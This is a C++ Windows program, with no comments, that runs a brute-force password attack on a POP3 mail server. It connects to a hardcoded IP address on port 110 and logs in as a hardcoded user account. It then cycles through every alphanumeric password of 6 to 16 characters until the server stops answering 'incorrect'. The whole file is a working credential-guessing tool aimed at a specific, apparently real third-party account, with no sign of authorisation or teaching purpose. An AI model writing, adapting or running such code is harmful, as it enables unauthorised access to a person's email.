#include <iostream>
#include <ctime>
#include <WinSock2.h>

#pragma comment(lib, "Ws2_32.lib")

using namespace std;


static char alphabet[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

const int def_buf_size = 0x400;

const int pass_min = 6;
const int pass_max = 0x10;

static clock_t start = 0;
static clock_t end = 0;

static double elapsed = 0.0;
static unsigned long long count = 0;

static char ip[] = "94.100.184.76";
static u_short port = 110;

static WSAData data;
static SOCKADDR_IN addr;
static SOCKET sock;
static int result;
static char buffer[1024];
static char *tmp;
static char *pass = NULL;
static size_t found;


int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex);
char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts);
void HandleString(char *string, int size);
void BytesSent(int size);
void WSAInit(void);


int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex)
{
	int i = 0;
	int j = 0;

	for( ; i <= maxIndex; ++i)
	{
		indexes[pos] = i;

		if(pos == length - 1)
		{
			for(j = 0; j < length; ++j)
			{
				pass[j] = dict[indexes[j]];
			}

			++*attempts;

			string tmp_brute = "pass ";
			tmp_brute.append(pass);
			tmp_brute.append("\r\n");

			WSAInit();

			result = connect(sock, (SOCKADDR*)&addr, sizeof(addr));

			if(result == SOCKET_ERROR)
			{
				cout << "Can't connect to: " << ip << ":" << port << endl << "WSA error ( connect() ): " << WSAGetLastError() << endl;
				result = closesocket(sock);

				if(result == SOCKET_ERROR)
				{
					cout << endl << "WSA error ( closesocket() ): " << WSAGetLastError() << endl;
					WSACleanup();
				}
			}
			else
			{
				result = recv(sock, buffer, def_buf_size, 0);
				tmp = buffer;
				HandleString(tmp, result);

				cout << "Connected successfully to: " << ip << ":" << port << endl;

				tmp = "user olegorlov90\r\n";
				cout << endl << "Sending data(" << strlen(tmp) << "): " << tmp;
				BytesSent(send(sock, tmp, strlen(tmp), 0));

				result = recv(sock, buffer, def_buf_size, 0);
				tmp = buffer;
				HandleString(tmp, result);

				const char *buf = tmp_brute.c_str();
				int len = strlen(tmp_brute.c_str());

				cout << "Sending data(" << len << "): " << buf;
				BytesSent(send(sock, buf, len, 0));

				result = recv(sock, buffer, def_buf_size, 0);
				tmp = buffer;
				HandleString(tmp, result);

				string err_code = "incorrect";
				string data = string(tmp);
				found = data.find(err_code);

				if(found != string::npos)
				{
					closesocket(sock);
					result = WSACleanup();
				}
				else
				{
					return 1;
				}
			}
		}
		else
		{
			if(MakeAttempt(pos + 1, length, dict, indexes, pass, attempts, maxIndex))
			{
				return 1;
			}
		}
	}

	return 0;
}

char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts)
{
	char *pass = (char*)malloc(passmax + 1);
	int *indexes = (int*)malloc(passmax * sizeof(int));
	int passLength = passmin;
	int maxIndex = strlen(dict) - 1;

	memset(pass, 0, passmax + 1);

	for(; passLength <= passmax; ++passLength)
	{
		if(MakeAttempt(0, passLength, dict, indexes, pass, attempts, maxIndex))
		{
			goto cleanup;
		}
	}

	free(pass);
	pass = NULL;

cleanup:
	free(indexes);
	return pass;
}

void HandleString(char *string, int size)
{
	cout << endl << "Bytes received: " << size << endl << "Response from server: ";

	for(int i = 0; i < size; i++)
	{
		cout << string[i];
	}

	cout << endl;
}

void BytesSent(int size)
{
	cout << "Bytes sent: " << size << endl;
}

void WSAInit(void)
{
	result = WSAStartup(0x202, &data);

	addr.sin_addr.s_addr = inet_addr(ip);
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	if(result != NO_ERROR)
	{
		cout << endl << "WSA startup failed with the error: " << result << endl;
	}
	else
	{
		cout << data.szDescription << " " << data.szSystemStatus << endl;
	}

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if(sock == INVALID_SOCKET)
	{
		cout << endl << "Socket init has failed with the error: " << WSAGetLastError() << endl;
		result = WSACleanup();
	}
	else
	{
		cout << endl << "Socket init has successfully!" << endl;
	}
}

int main(void)
{
	WSAInit();

	start = clock();

	cout << "Attempting to brute force..." << endl;

	if(pass = BruteForce(pass_min, pass_max, alphabet, &count))
	{
		cout << "The correct password is: " << pass << endl;
		free(pass);
	}

	end = clock();

	elapsed = ((double)(end - start)) / CLOCKS_PER_SEC;
	cout << "Time elapsed: " << elapsed << " seconds" << endl;

	if(elapsed >= 1)
	{
		cout << "Trys per second was: " << (count / elapsed) << endl;
	}

	return 0;
}